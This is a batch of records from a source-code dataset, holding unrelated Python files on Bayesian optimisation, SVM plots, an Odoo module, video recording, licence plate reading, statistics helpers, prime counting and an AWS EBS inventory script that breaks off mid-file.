Experiment\nexperiment = Experiment(\n    name=\"saasbo_experiment\",\n    search_space=search_space,\n    optimization_config=optimization_config,\n    runner=SyntheticRunner(),\n)\n\n# Initial Sobol points (set three random parameters to zero)\nsobol = Models.SOBOL(search_space=experiment.search_space)\nfor _ in range(N_INIT):\n    trial = sobol.gen(1)\n    keys = copy(subparam_names)\n    random.shuffle(keys)\n    for k in keys[:3]:\n        trial.arms[0]._parameters[k] = 0.0\n    experiment.new_trial(trial).run()\n\n# Run SAASBO\ndata = experiment.fetch_data()\nfor i in range(N_BATCHES):\n    model = Models.FULLYBAYESIAN(\n        experiment=experiment,\n        data=data,\n        num_samples=256,  # Increasing this may result in better model fits\n        warmup_steps=512,  # Increasing this may result in better model fits\n        gp_kernel=\"matern\",  # \"rbf\" is the default in the paper, but we also support \"matern\"\n        torch_dtype=torch.double,\n        verbose=False,  # Set to True to print stats from MCMC\n        disable_progbar=True,  # Set to False to print a progress bar from MCMC\n    )\n    batch_initial_conditions = get_batch_initial_conditions(\n        n=20, X=model.model.Xs[0], Y=model.model.Ys[0], raw_samples=1024\n    )\n    with warnings.catch_warnings():\n        warnings.simplefilter(\"ignore\")  # Filter SLSQP warnings\n        generator_run = model.gen(\n            BATCH_SIZE,\n            model_gen_options={\n                \"optimizer_kwargs\": {\n                    \"linear_constraints\": [\n                        (torch.arange(d), torch.ones(d), 1)\n                    ],  # sum(x[:-1]) <= 1\n                    \"nonlinear_inequality_constraints\": [ineq_constraint],\n                    \"batch_initial_conditions\": batch_initial_conditions,\n                }\n            },\n        )\n\n    trial = experiment.new_batch_trial(generator_run=generator_run)\n    for arm in trial.arms:\n        arm._parameters = {k: 0.0 if v < 1e-3 else v for k, v in arm.parameters.items()}\n        assert sum([v > 1e-3 for v in arm.parameters.values()]) <= 3\n    trial.run()\n    data = Data.from_multiple_data([data, trial.fetch_data()])\n\n    fetched_data = trial.fetch_data()\n    new_value = fetched_data.df[\"mean\"].min()\n    # best_value = fetched_data.true_df[\"mean\"].min()\n    best_value = data.df[\"mean\"].min()\n\n    arm_parameters = [arm.parameters for arm in list(experiment.arms_by_name.values())]\n    arm_params = pd.DataFrame(arm_parameters).values\n    y_true = np.array([metric.f(v) for v in arm_params])\n    best_true_val = min(y_true)\n    print(\n        f\"Iteration: {i}, Best in iteration {new_value:.3f}, \",\n        f\"Best so far: {best_value:.3f}, \",\n        f\"Best true so far: {best_true_val:.3f}\",\n    )\n\n# %%\npd.options.display.float_format = \"{:,.3f}\".format\ndf = pd.DataFrame(arm_parameters)\ndf[\"x5\"] = np.round(1 - df.values.sum(axis=1), decimals=6)\ny_pred = data.df[\"mean\"]\ndf[\"y_pred\"] = y_pred\ndf[\"y_true\"] = y_true\nprint(df)\n\n# y_pred = df[]\nextraordinary_probability(y_true, y_pred, mx=mx, mn=mn)\n\nexperiment_dir = result_dir\nif dummy:\n    experiment_dir = join(\"dummy\", experiment_dir)\nexperiment_dir = join(\n    experiment_dir,\n    \"experiments\",\n    f\"{experiment.name}\",\n    f\"N_INIT_{N_INIT}_BATCH_SIZE_{BATCH_SIZE}_N_BATCHES_{N_BATCHES}\",\n)\nPath(experiment_dir).mkdir(exist_ok=True, parents=True)\nexperiment_fpath = join(experiment_dir, \"experiment.json\")\nsave_experiment(experiment, experiment_fpath)\n\ndf.to_csv(join(experiment_dir, \"results.csv\"))\n","sub_path":"comp_saas.py","file_name":"comp_saas.py","file_ext":"py","file_size_in_byte":8666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"551523649","text":"import sys\n# locate other code files\nsys.path.append(\"../..\")\n\nimport numpy as np\nfrom solve import *\nfrom gen_data import make_data\nfrom printer import create_anim\n\nname = \"c_poly\"\ny_coords = np.linspace(-2, 2, 5)\nvar_vals = np.linspace(0.5, 1, 3)\nparams = np.arange(2, 6)\nslacks = np.logspace(-1, 7, 10)\nseed = 5\n\ncounter = 0\nK = len(y_coords)*len(var_vals)*len(params)*len(slacks)\nfor k in range(len(params)):\n    anim_files = [\"\"]*len(y_coords)*len(var_vals)\n    for i in range(len(var_vals)):\n        for j in range(len(y_coords)):\n            for c in range(len(slacks)):\n                Ns = [10, 10, 20]\n                points = np.array([(-2, 0), (2, 0), (0, y_coords[j])])\n                vars = np.array([var_vals[i]]*3)\n                classes = np.array([1, 1, -1])\n\n                make_data(Ns, points, vars, classes, out=\"test\", seed=seed)\n                anim_file = \"{}{}.jpg\".format(name, counter)\n                title = \"Var={:0.3f}, param={}, slack={:0.3f}\".format(var_vals[i], params[k], slacks[c])\n                solve(\"test.npz\", kern_type=\"poly\", kern_param=params[k], out=anim_file, plot=False, title=title, slack=slacks[c])\n                anim_files[j] = anim_file\n                counter += 1\n                print(\"image {}/{}\".format(counter, K))\n    # print(\"creating animation\")\n    # create_anim(anim_files, out=\"anim_p{}.mp4\".format(params[k]), duration=0.4)\n","sub_path":"support vector machines/moving_clusters_slack/poly/generate_poly.py","file_name":"generate_poly.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"329972871","text":"# -*- coding: utf-8 -*-\n\nfrom openerp import models, fields, api\n\n\nimport logging\n_logger = logging.getLogger(__name__)\n\nclass account_analytic_account_improvements(models.Model):\n    _inherit = 'account.analytic.account'\n\n    first_subscription_id = fields.Many2one(comodel_name='sale.subscription', string=\"Subscription\", compute='_compute_first_subscription')\n\n    @api.one\n    def _compute_first_subscription(self):\n        if self.subscription_ids and len(self.subscription_ids) > 0 :\n            self.first_subscription_id = self.subscription_ids[0]\n\n    @api.cr_uid_id_context\n    def project_create(self, cr, uid, analytic_account_id, vals, context=None):\n        \n        project_id = super(account_analytic_account_improvements, self).project_create(cr, uid, analytic_account_id, vals, context=context)\n        if project_id != False:\n            \n            project_project_obj = self.pool.get('project.project')\n            project_project = project_project_obj.browse(cr, uid, project_id)\n\n            analytic_account_obj = self.pool.get('account.analytic.account')\n            analytic_account = analytic_account_obj.browse(cr, uid, analytic_account_id)\n\n            if analytic_account.first_subscription_id:\n                \n                project_template_id = analytic_account.first_subscription_id.template_id.project_id if analytic_account.first_subscription_id.template_id else False\n                if project_template_id != False:\n\n                    #Sets the project attributes\n                    project_project.write({\n                            'name': \"%s - %s\" % (project_template_id.name, analytic_account.first_subscription_id.partner_id.name),\n                            'partner_id': analytic_account.first_subscription_id.partner_id.id,\n                            'user_id': project_template_id.user_id.id,\n                            'color': project_template_id.color,\n                            'privacy_visibility': project_template_id.privacy_visibility,\n                        })\n\n                    #Adds the team users from the analytic account in the project team\n                    #-----------------------------------------------------------------\n\n                    #if project_project.analytic_account_id.contract_team:\n                    #    for user in project_project.analytic_account_id.contract_team.users:\n                    #        query = \"\"\"\n                    #                INSERT INTO project_user_rel (uid, project_id)\n                    #                VALUES (%s,%s)\n                    #                \"\"\"\n                    #        cr.execute(query, (str(user.id),str(project_id)))\n\n\n                    #Attributes in page \"Other Info\"\n                    #-------------------------------\n                    \n                    #project_project.date_start = project_project.analytic_account_id.date_start\n                    #project_project.date = project_project.analytic_account_id.date\n                    #project_project.project_escalation_id = project_project_template.project_escalation_id.id\n\n                    #Sets the project stages\n                    #-----------------------\n                    #Removes the old project stages\n                    query = \"\"\"\n                            DELETE FROM project_task_type_rel\n                            WHERE project_id=%s\n                            \"\"\"\n                    cr.execute(query, [str(project_id)])\n\n                    #Adds the new project stages from the project template\n                    for stage in project_template_id.type_ids:\n                        query = \"\"\"\n                                INSERT INTO project_task_type_rel (type_id, project_id)\n                                VALUES (%s,%s)\n                                \"\"\"\n                        cr.execute(query, (str(stage.id),str(project_id)))\n\n\n                    #removes the project followers\n                    #query = \"\"\"\n                    #        DELETE FROM mail_followers\n                    #        WHERE res_id=%s and res_model=%s\n                    #        \"\"\"\n                    #cr.execute(query, (str(project_id), 'project.issue'))\n        \n        return project_id\n","sub_path":"account_analytic_account_improvements/models/account_analytic_account.py","file_name":"account_analytic_account.py","file_ext":"py","file_size_in_byte":4237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"138520614","text":"#!/usr/bin/python\n\nfrom Cocoa import *\nfrom Foundation import *\n\ntxt = NSString.stringWithFormat_(\"Hello %@\", \"world\")\nfontSize = 13.0\ntxtColor = NSColor.blackColor()\ntxtAttr = NSDictionary.dictionaryWithObjectsAndKeys_(\n  NSFont.systemFontOfSize_(fontSize), NSFontAttributeName,\n  txtColor, NSForegroundColorAttributeName\n  )\n\n# NSLog(\"[Pass]\")","sub_path":"Python.py","file_name":"Python.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"81504527","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug 23 23:33:24 2021\n\n@author: admin\n\"\"\"\n\n#pascal triangle\nn = int(input(\"n value? \"))\nst=\" \"\nmain = []\nls = [1]\nls1 = [1]\nls2 = [1,1]\nmain.append(ls1)\nmain.append(ls2)\nfor j in range(n-2):\n    for i in range(len(ls2)-1):\n        result = ls2[i]+ls2[i+1]\n        ls.append(result)\n       \n    \n    ls.append(1)\n    main.append(ls)\n    ls2=ls\n    ls = [1]\n    \n \n\nfor x in range(1,n+1):\n    print((n-x)*st,main[x-1])","sub_path":"projects/Pascal Triangle.py","file_name":"Pascal Triangle.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"386409249","text":"#!/usr/bin/python3\n# This program is licensed under GPLv3.\nfrom os import path\nimport gi\ngi.require_version('Gst', '1.0')\ngi.require_version('Gtk', '3.0')\ngi.require_version('GdkX11', '3.0')\ngi.require_version('GstVideo', '1.0')\nfrom gi.repository import GObject, Gst, Gtk\n\n# Needed for get_xid(), set_window_handle()\nfrom gi.repository import GdkX11, GstVideo\n\n# Needed for timestamp on file output\nfrom datetime import datetime\nGObject.threads_init()\nGst.init(None)\nlocation = '/dev/video0'\n\nclass Player(Gtk.Window):\n    def __init__(self):\n        Gtk.Window.__init__(self, title=\"Liveview\")\n        self.connect('destroy', self.quit)\n        self.set_default_size(800, 450)\n\n        # Create DrawingArea for video widget\n        self.drawingarea = Gtk.DrawingArea()\n\n        # Create a grid for the DrawingArea and buttons\n        grid = Gtk.Grid()\n        self.add(grid)\n        grid.attach(self.drawingarea, 0, 1, 2, 1)\n        # Needed or else the drawing area will be really small (1px)\n        self.drawingarea.set_hexpand(True)\n        self.drawingarea.set_vexpand(True)\n\n        # Quit button\n        quit = Gtk.Button(label=\"Quit\")\n        quit.connect(\"clicked\", Gtk.main_quit)\n        grid.attach(quit, 0, 0, 1, 1)\n\n        # Record/Stop button\n        self.record = Gtk.Button(label=\"Record\")\n        self.record.connect(\"clicked\", self.record_button)\n        grid.attach(self.record, 1, 0, 1, 1)\n\n        # Create GStreamer pipeline\n        self.pipeline = Gst.parse_launch(\"v4l2src device=\" + location + \" ! tee name=tee ! queue name=videoqueue ! deinterlace ! xvimagesink\")\n\n        # Create bus to get events from GStreamer pipeline\n        bus = self.pipeline.get_bus()\n        bus.add_signal_watch()\n        bus.connect('message::eos', self.on_eos)\n        bus.connect('message::error', self.on_error)\n\n        # This is needed to make the video output in our DrawingArea:\n        bus.enable_sync_message_emission()\n        bus.connect('sync-message::element', self.on_sync_message)\n\n    def run(self):\n        self.show_all()\n        self.xid = self.drawingarea.get_property('window').get_xid()\n        self.pipeline.set_state(Gst.State.PLAYING)\n        Gtk.main()\n\n    def quit(self, window):\n        self.pipeline.set_state(Gst.State.NULL)\n        Gtk.main_quit()\n\n    def on_sync_message(self, bus, msg):\n        if msg.get_structure().get_name() == 'prepare-window-handle':\n            print('prepare-window-handle')\n            msg.src.set_window_handle(self.xid)\n\n    def on_eos(self, bus, msg):\n        print('on_eos(): seeking to start of video')\n        self.pipeline.seek_simple(\n            Gst.Format.TIME,\n            Gst.SeekFlags.FLUSH | Gst.SeekFlags.KEY_UNIT,\n            0\n        )\n\n    def on_error(self, bus, msg):\n        print('on_error():', msg.parse_error())\n\n    def start_record(self):\n        # Filename (current time)\n        filename = datetime.now().strftime(\"%Y-%m-%d_%H.%M.%S\") + \".avi\"\n        print(filename)\n        self.recordpipe = Gst.parse_bin_from_description(\"queue name=filequeue ! jpegenc ! avimux ! filesink location=\" + filename, True)\n        self.pipeline.add(self.recordpipe)\n        self.pipeline.get_by_name(\"tee\").link(self.recordpipe)\n        self.recordpipe.set_state(Gst.State.PLAYING)\n\n    def stop_record(self):\n        filequeue = self.recordpipe.get_by_name(\"filequeue\")\n        filequeue.get_static_pad(\"src\").add_probe(Gst.PadProbeType.BLOCK_DOWNSTREAM, self.probe_block)\n        self.pipeline.get_by_name(\"tee\").unlink(self.recordpipe)\n        filequeue.get_static_pad(\"sink\").send_event(Gst.Event.new_eos())\n        print(\"Stopped recording\")\n\n    def record_button(self, widget):\n        if self.record.get_label() == \"Record\":\n            self.record.set_label(\"Stop\")\n            self.start_record()\n        else:\n            self.stop_record()\n            self.record.set_label(\"Record\")\n\n    def probe_block(self, pad, buf):\n        print(\"blocked\")\n        return True\n\np = Player()\np.run()\n","sub_path":"python/gst-camera-record.py","file_name":"gst-camera-record.py","file_ext":"py","file_size_in_byte":3983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"300551341","text":"# Copyright (c) 2019, RangerUFO\n#\n# This file is part of alpr_utils.\n#\n# alpr_utils is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# alpr_utils is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with alpr_utils.  If not, see .\n\nimport time\nimport mxnet as mx\nimport matplotlib.pyplot as plt\nfrom gluoncv import model_zoo, data\nimport cv2\nfrom read_plate import ReadPlate\nfrom PIL import Image, ImageDraw, ImageFont\nimport numpy\nfrom utils.drawchinese import DrawChinese\n\n\ndef load_image(path):\n    with open(path, \"rb\") as f:\n        buf = f.read()\n    return mx.image.imdecode(buf)\n\n\ndef fixed_crop(raw, bbox):\n    x0 = max(int(bbox[0].asscalar()), 0)\n    x0 = min(int(x0), raw.shape[1])\n    y0 = max(int(bbox[1].asscalar()), 0)\n    y0 = min(int(y0), raw.shape[0])\n    x1 = max(int(bbox[2].asscalar()), 0)\n    x1 = min(int(x1), raw.shape[1])\n    y1 = max(int(bbox[3].asscalar()), 0)\n    y1 = min(int(y1), raw.shape[0])\n    return mx.image.fixed_crop(raw, x0, y0, x1 - x0, y1 - y0)\n\n\ndef test(images):\n    context = mx.cpu(0)\n    yes = 0\n    count = 0\n    yesss = 0\n    yolo = model_zoo.get_model('yolo3_darknet53_voc', pretrained=True, ctx=context)\n    read_plate = ReadPlate()\n    for path in images:\n\n        label = path.split('/')[-1].split('_')[0]\n        # print(label)\n        # exit()\n        '''加载图片'''\n        raw = load_image(path)\n        # print(raw.shape)\n        ts = time.time()\n        # print('aaaaaaaaaaaaa')\n        '''图片归一化'''\n        x, _ = data.transforms.presets.yolo.transform_test(raw, short=512)\n        # print(x)\n        '''得到侦测结果'''\n        classes, scores, bboxes = yolo(x.as_in_context(context))\n        # print(classes.shape)\n        '''反算回归框'''\n        bboxes[0, :, 0::2] = bboxes[0, :, 0::2] / x.shape[3] * raw.shape[1]\n        bboxes[0, :, 1::2] = bboxes[0, :, 1::2] / x.shape[2] * raw.shape[0]\n        vehicles = [\n            fixed_crop(raw, bboxes[0, i]) for i in range(classes.shape[1])\n            if (yolo.classes[int(classes[0, i].asscalar())] == 'car' or\n                yolo.classes[int(classes[0, i].asscalar())] == 'bus') and\n               scores[0, i].asscalar() > 0.5\n        ]\n        # print(vehicles)\n        # exit()\n        # print(\"yolo profiling: %f\" % (time.time() - ts))\n        for i, raw in enumerate(vehicles):\n            # print(\"vehicle[%d]:\" % i)\n            # print(raw)\n            image = raw.asnumpy()\n            image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n            # cv2.imshow('a', image)\n            # cv2.waitKey()\n            count += 1\n            '''侦测网络、字符变量、字符识别网络、图片、样本尺寸、阈值、车牌高宽（48，144）、使用定向搜索，定向尺寸、设备'''\n            results = read_plate(image)\n            for plate, box in results:\n                print(yes,yesss,count,yes/count,yesss/count,label,plate)\n                if label == plate:\n                    yes+=1\n                if label[1:]==plate[1:]:\n                    yesss+=1\n                image = cv2.rectangle(image, (int(box[0]), int(box[1])), (int(box[2]), int(box[3])), (0, 0, 255), 2)\n                image = DrawChinese(image, plate, (int(box[0]), int(box[1])-50), 40,(200,0,0))\n                cv2.imshow('a',image)\n                cv2.waitKey(0)\n                break\n            break\n    print(yes,count,yes/count)\n\n\nif __name__ == \"__main__\":\n    import os\n\n    images = []\n    for file_name in os.listdir('/home/cq/public/hibiki/CCPD2019/test'):\n        # for image_name in os.listdir(f'/home/cq/public/hibiki/CCPD2019/ccpd_db/{file_name}'):\n        images.append(f'/home/cq/public/hibiki/CCPD2019/test/{file_name}')\n    test(images)\n","sub_path":"2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":4164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"149758313","text":"from statistics import variance\nfrom typing import List\nimport math\ndef zcount(list: List[float]) -> float:\n    return len(list)\n    #print(\"stat test\")\n    #print(\"zcount should 5==\"), zcount ([1.0,2.0,3.0,4.0,5.0]) \n\ndef zmean(list: List[float]) -> float:\n    return sum(list) / zcount(list)\n    \ndef zmode(list: List[float]) -> float:\n    return max(set(list) , key = list.count)\n    \ndef zmedian(list: List[float]) -> float:\n    sortedlst = sorted(list)\n    lstlen = len(list)\n    index = (lstlen - 1) //2\n    if(lstlen %2):\n        return sortedlst[index]\n    else:\n        return (sortedlst[index] + sortedlst[index +1])/2.0\n\ndef zvariance(list: List[float]) -> float:\n    n = zcount(list) - 1\n    mean = zmean(list)\n    deviation = [abs(mean - xi) ** 2 for xi in list]\n    variance = sum(deviation) / n\n\n\ndef zstddev(list: List[float]) -> float:\n\n    var = zvariance(list)\n\n    return math.sqrt(var)\n\n\ndef zstderr(list: List[float]) -> float:\n\n    sd = zstddev(list)\n    n = zcount(list)\n\n    return sd / math.sqrt(n)\n\n\ndef zcov(listx: List[float], listy: List[float]) -> float:\n\n    n = zcount(listx)\n    sum_of_product = 0\n    counter = 0\n\n    while counter < len(listx):\n        product = listx[counter] * listy[counter]\n        sum_of_product += product\n        counter += 1\n\n    sums = (sum(listx) * sum(listy)) / n\n\n    cov = (sum_of_product - sums) / (n - 1)\n    return cov\n\n\ndef zcorr(listx: List[float], listy: List[float]) -> float:\n\n    cov = zcov(listx, listy)\n    sx = zstddev(listx)\n    sy = zstddev(listy)\n\n    return (cov) / (sx * sy)\n\ndef readDataSet(files):\n#    print(\"in readDataSets...\", files)\n    data = {}\n    for file in files:\n        twoLists = readDataSet(file)\n        data[file] = twoLists    \n    return data\n\ndef readDataFile(fname):\n    x,y =  ([],[])\n    with open(file) as f:\n        first_line = f.readline() #consume headers\n        for l in f:\n            row = l.split(',')\n            print(row, type (row))\n            x.append(float(row[0]))\n            y.append(float(row[1]))\n        return (x,y)","sub_path":"statzcw/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":2047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"53139002","text":"\ndef main():\n    import os\n    OMP_NUM_THREADS = '1'\n    OPENBLAS_NUM_THREADS = '1'\n    MKL_NUM_THREADS = '1'\n    os.environ[\"OMP_NUM_THREADS\"] = OMP_NUM_THREADS  # export OMP_NUM_THREADS=4\n    os.environ[\"OPENBLAS_NUM_THREADS\"] = OPENBLAS_NUM_THREADS  # export OPENBLAS_NUM_THREADS=4\n    os.environ[\"MKL_NUM_THREADS\"] = MKL_NUM_THREADS  # export MKL_NUM_THREADS=6\n\n    import json\n    import zarr\n    import dask.array as da\n    from dask.distributed import Client\n    import time\n    import traceback\n\n    from lmdec.decomp import PowerMethod\n\n    data_directory = '/nfs/pool002/users/tnonet/SNP_Zarr'\n    #data_directory = '/Users/tnonet/Documents/SNP_matrices'\n    matrix = '160K_640K'\n    matrix_path = os.path.join(data_directory, matrix + '.zarr')\n    json_file_path = '_'.join(['March1', 'PM_test', matrix]) + '.json'\n\n    assert os.path.isdir(matrix_path)\n\n    assert not os.path.isfile(json_file_path)\n\n    logs = dict()\n    k = 10\n    max_iterations = 200\n    time_limit = 6400\n    buffer = 10\n    tol = 1e-6\n    num_runs = 1\n    p = 1\n    worker_list = [2, 4, 8]\n    memory_list = ['50GB', '100GB', '200GB']\n    score = 'rmse'\n    logs['k'] = k\n    logs['p'] = p\n    logs['num_runs'] = num_runs\n    logs['max_iterations'] = max_iterations\n    logs['scoring'] = score\n    logs['b'] = buffer\n    logs['time_limit'] = time_limit\n    logs['tol'] = tol\n    logs['date'] = time.time()\n    logs['worker'] = worker_list\n    logs['memory'] = memory_list\n    try:\n        root = zarr.open(matrix_path, mode='r')\n        array = da.from_zarr(root)\n        for run in range(num_runs):\n            for work in worker_list:\n                for mem in memory_list:\n                    client = Client(n_workers=work,\n                                    threads_per_worker=1,\n                                    memory_limit=mem)\n                    PM = PowerMethod(max_iter=max_iterations,\n                                     k=k,\n                                     buffer=buffer,\n                                     p=p,\n                                     tol=tol,\n                                     scoring_method=score,\n                                     time_limit=time_limit,\n                                     track_metrics=True)\n                    _, _, _ = PM.svd(array)\n                    client.close()\n                    logs[str((work, mem, run))] = [str(PM.metrics), str(PM.time), str(PM.times)]\n\n                    with open(json_file_path, 'w', encoding='utf-8') as f:\n                        json.dump(logs, f, ensure_ascii=False, indent=4)\n\n\n    except Exception:\n        traceback.print_exc()\n        with open(json_file_path, 'w', encoding='utf-8') as f:\n            json.dump(logs, f, ensure_ascii=False, indent=4)\n\nif __name__ == '__main__':\n    main()\n","sub_path":"matrix_test_MARCH1.py","file_name":"matrix_test_MARCH1.py","file_ext":"py","file_size_in_byte":2788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"396397564","text":"import tensorflow as tf\nfrom tensorflow import keras\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nmodel = keras.models.load_model('1/9.hdf5')\n\n_img = keras.preprocessing.image.load_img(\n    'train/train/00013.jpg',\n    grayscale=True,\n    target_size=(48, 48))\n\n# preprocess image to get it into the right format for the model\nimg = keras.preprocessing.image.img_to_array(_img)\nimg = img.reshape((1, *img.shape))\ny_pred = model.predict(img)\n\nimages = tf.Variable(img, dtype=float)\n\nwith tf.GradientTape() as tape:\n    pred = model(images, training=False)\n    class_idxs_sorted = np.argsort(pred.numpy().flatten())[::-1]\n    loss = pred[0][class_idxs_sorted[0]]\n\ngrads = tape.gradient(loss, images)\ndgrad_abs = tf.math.abs(grads)\ndgrad_max_ = np.max(dgrad_abs, axis=3)[0]\n\n# normalize to range between 0 and 1\narr_min, arr_max  = np.min(dgrad_max_), np.max(dgrad_max_)\ngrad_eval = (dgrad_max_ - arr_min) / (arr_max - arr_min + 1e-18)\n\nfig, axes = plt.subplots(1,2,figsize=(14,5))\naxes[0].imshow(_img, cmap='gray')\ni = axes[1].imshow(grad_eval, cmap=\"jet\",alpha=0.8)\nfig.colorbar(i)\nplt.show()\n\n# # Find the index of the to be visualized layer above\n# layer_index = utils.find_layer_idx(model, 'dense_2')\n#\n# # Swap softmax with linear\n# model.layers[layer_index].activation = keras.activations.linear\n# model = utils.apply_modifications(model)\n#\n# # Numbers to visualize\n# indices_to_visualize = [ 0, 12, 38, 83, 112, 74, 190 ]\n#\n# # Visualize\n# for index_to_visualize in indices_to_visualize:\n#   # Get input\n#   input_image = input_test[index_to_visualize]\n#   # Class object\n#   classes = {\n#     0: 'airplane',\n#     1: 'automobile',\n#     2: 'bird',\n#     3: 'cat',\n#     4: 'deer',\n#     5: 'dog',\n#     6: 'frog',\n#     7: 'horse',\n#     8: 'ship',\n#     9: 'truck'\n#   }\n#   input_class = np.argmax(target_test[index_to_visualize])\n#   input_class_name = classes[input_class]\n#   # Matplotlib preparations\n#   fig, axes = plt.subplots(1, 2)\n#   # Generate visualization\n#   visualization = visualize_saliency(model, layer_index, filter_indices=input_class, seed_input=input_image)\n#   axes[0].imshow(input_image)\n#   axes[0].set_title('Original image')\n#   axes[1].imshow(visualization)\n#   axes[1].set_title('Saliency map')\n#   fig.suptitle(f'CIFAR10 target = {input_class_name}')\n#   plt.show()\n\n\n# Reference:\n# https://usmanr149.github.io/urmlblog/cnn/2020/05/01/Salincy-Maps.html","sub_path":"hw3/saliency.py","file_name":"saliency.py","file_ext":"py","file_size_in_byte":2397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"242668700","text":"from update_model4 import horse_trend\r\nfrom db.db import singleton_ResultsDb\r\n\r\n\r\ndef updateData(race_results_rows, immd_rows, today_race_start_time, cur_row, update_table, race_No, horse_No):\r\n    # odd_trend\r\n    horse_code = cur_row['horse_code']\r\n    win_odds = float(cur_row['win_odds'])\r\n    odd_trend = horse_trend.getOddsTrend(horse_code, win_odds, race_results_rows)\r\n\r\n    # odd_wave\r\n    race_date = cur_row['race_date']\r\n    odd_wave = horse_trend.getOddsWave(race_date, race_No, horse_No, win_odds, today_race_start_time, immd_rows)\r\n\r\n    sql_update = '''update {} set odd_trend=%s, odd_wave=%s where race_date=%s and race_no=%s and horse_no=%s'''.format(update_table)\r\n    cur_data = (odd_trend, odd_wave, race_date, race_No, horse_No)\r\n    singleton_ResultsDb.cursor.execute(sql_update, cur_data)\r\n\r\n\r\n","sub_path":"20190521/update_immd_model4/update_model4/update_data_win_odds.py","file_name":"update_data_win_odds.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"145736416","text":"# Count the number of prime numbers less than\n# 2 million and time how long it takes\n# Compares the performance of two different\n# algorithms.\nfrom time import clock\nfrom math import sqrt\ndef count_primes(n):\n    '''\n    Generates all the prime numbers from 2 to n - 1.\n    n - 1 is the largest potential prime considered.\n    '''\n    start = clock() # Record start time\n    count = 0\n    for val in range(2, n):\n        result = True # Provisionally, n is prime\n        root = int(sqrt(val) + 1)\n        # Try all potential factors from 2 to the square root of n\n        trial_factor = 2\n        while result and trial_factor <= root:\n            result = (val % trial_factor != 0 ) # Is it a factor?\n            trial_factor += 1 # Try next candidate\n        if result:\n            count += 1\n    stop = clock() # Stop the clock\n    print(\"Count =\", count, \"Elapsed time:\", stop - start, \"seconds\")\ndef seive(n):\n    '''\n    Generates all the prime numbers from 2 to n - 1.\n     n - 1 is the largest potential prime considered.\n    Algorithm originally developed by Eratosthenes.\n    '''\n    start = clock() # Record start time\n    # Each position in the Boolean list indicates\n    # if the number of that position is not prime:\n    # false means \"prime,\" and true means \"composite.\"\n    # Initially all numbers are prime until proven otherwise\n    nonprimes = n * [False] # Global list initialized to all False\n    count = 0\n    # First prime number is 2; 0 and 1 are not prime\n    nonprimes[0] = nonprimes[1] = True\n    # Start at the first prime number, 2.\n    for i in range(2, n):\n        # See if i is prime\n        if not nonprimes[i]:\n            count += 1\n            # It is prime, so eliminate all of its\n            # multiples that cannot be prime\n            for j in range(2*i, n, i):\n                nonprimes[j] = True\n    # Print the elapsed time\n    stop = clock()\n    print(\"Count =\", count, \"Elapsed time:\", stop - start, \"seconds\")\ndef main():\n    count_primes(2000000)\n    seive(2000000)\nmain()\n","sub_path":"ch-9-List(md. borqat ali)/9.20.py","file_name":"9.20.py","file_ext":"py","file_size_in_byte":2021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"62119514","text":"#!/bin/python\n#\n# Iterate all the instances within a specific region and identify\n# all attached EBS volumes. Record EBS volume information into\n# the 'Volume' (MySQL) database table.\n#\n#################################################################\nimport argparse\nimport boto3\nimport json\nimport subprocess\nfrom MothDBconnect import DbConnect, DbCnctInfo\n\n\n###################################################################\n# Get list of regions in service\n#    Need this for bounds-checking, but it's a Chicken/Egg problem:\n#    need AWS CLI config with default-region set\ndef ValidRegion():\n    regraw = subprocess.Popen(\n            \"aws ec2 describe-regions --query 'Regions[].RegionName[]' --out text\",\n            shell=True,\n            stdout=subprocess.PIPE).stdout.read()\n\n    return regraw.split( )\n\n#################################\n# Get list of instances in region\ndef GetInstances(args):\n\n    ec2 = session.resource(\n        'ec2',\n        region_name = args.region,\n        aws_access_key_id = args.key,\n        aws_secret_access_key = args.secret\n    )\n\n    instlist = []\n    for ret in ec2.instances.all():\n        instlist.append(ret._id)\n\n    return instlist\n\n###########################\n# Get EBS vols for instance\ndef GetEBSvolInfo(instid):\n\n    ec2 = session.resource('ec2')\n    inst = ec2.Instance(id=instid)\n    devstruct = inst.block_device_mappings\n\n    devmap = {}\n    for dev in devstruct:\n        devvolid = dev['Ebs']['VolumeId']\n        ebs = {}\n        ebs['Mount'] = dev['DeviceName']\n        ebs['Size'] = ec2.Volume(devvolid).size\n        ebs['Type'] = ec2.Volume(devvolid).volume_type\n        ebs['IOPS'] = ec2.Volume(devvolid).iops\n        ebs['AZ'] = ec2.Volume(devvolid).availability_zone\n        ebs['Tags'] = json.dumps(ec2.Volume(devvolid).tags)\n        devmap[devvolid] = ebs\n\n    return { instid : devmap }\n\n\n#################################\n# Insert EBS 